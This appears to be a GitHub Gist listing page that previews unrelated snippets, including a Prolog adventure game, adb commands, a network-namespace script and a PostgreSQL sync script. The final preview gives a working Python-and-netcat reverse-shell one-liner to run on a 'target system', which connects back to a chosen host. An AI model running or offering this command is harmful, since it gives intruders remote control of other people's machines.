Skip to content

Instantly share code, notes, and snippets.

@JosephLenton
JosephLenton / spider.pl
Created July 28, 2012 03:49
prolog text adventure game
/* SPIDER -- a sample adventure game, by David Matuszek.
Consult this file and issue the command: start. */
:- dynamic at/2, i_am_at/1, alive/1. /* Needed by SWI-Prolog. */
:- retractall(at(_, _)), retractall(i_am_at(_)), retractall(alive(_)).
/* This defines my current location. */
i_am_at(meadow).
@Pulimet
Pulimet / AdbCommands
Last active July 27, 2024 14:17
Adb useful commands list
Hi All!
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.
Here's the link to the repository: https://github.com/Pulimet/ADBugger
App Description:
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.
@agentzh
agentzh / network-namespace-demo.sh
Last active March 5, 2024 22:05
Create 2 network namespaces and bridge them and the default namespace together so that they can directly talk to each other via static IP addresses; also enable Internet access in all the namespaces via NAT.
#!/usr/bin/env bash
set -x
main_if=ens33
ping_count=1
echo 1 > /proc/sys/net/ipv4/ip_forward || exit 1
ip netns del ns1 > /dev/null 2>&1
@Havoc24k
Havoc24k / sync.py
Last active September 29, 2023 08:55
Import tables from one PostgreSQL database to another using the INFORMATION_SCHEMA
#!/usr/bin/python3.6
"""Sync PostgreSQL."""
import psycopg2
import sys
from psycopg2.extras import RealDictCursor, execute_values
"""
Usage:
@0xblackbird
0xblackbird / open-redirect.md
Created April 1, 2021 19:04
Open redirect bypasses
@onionj
onionj / reverse_shell.md
Last active February 14, 2024 17:25
Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Simple Method:

On the target system, execute the following command (replace HOST with your server's IP or domain):

while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; done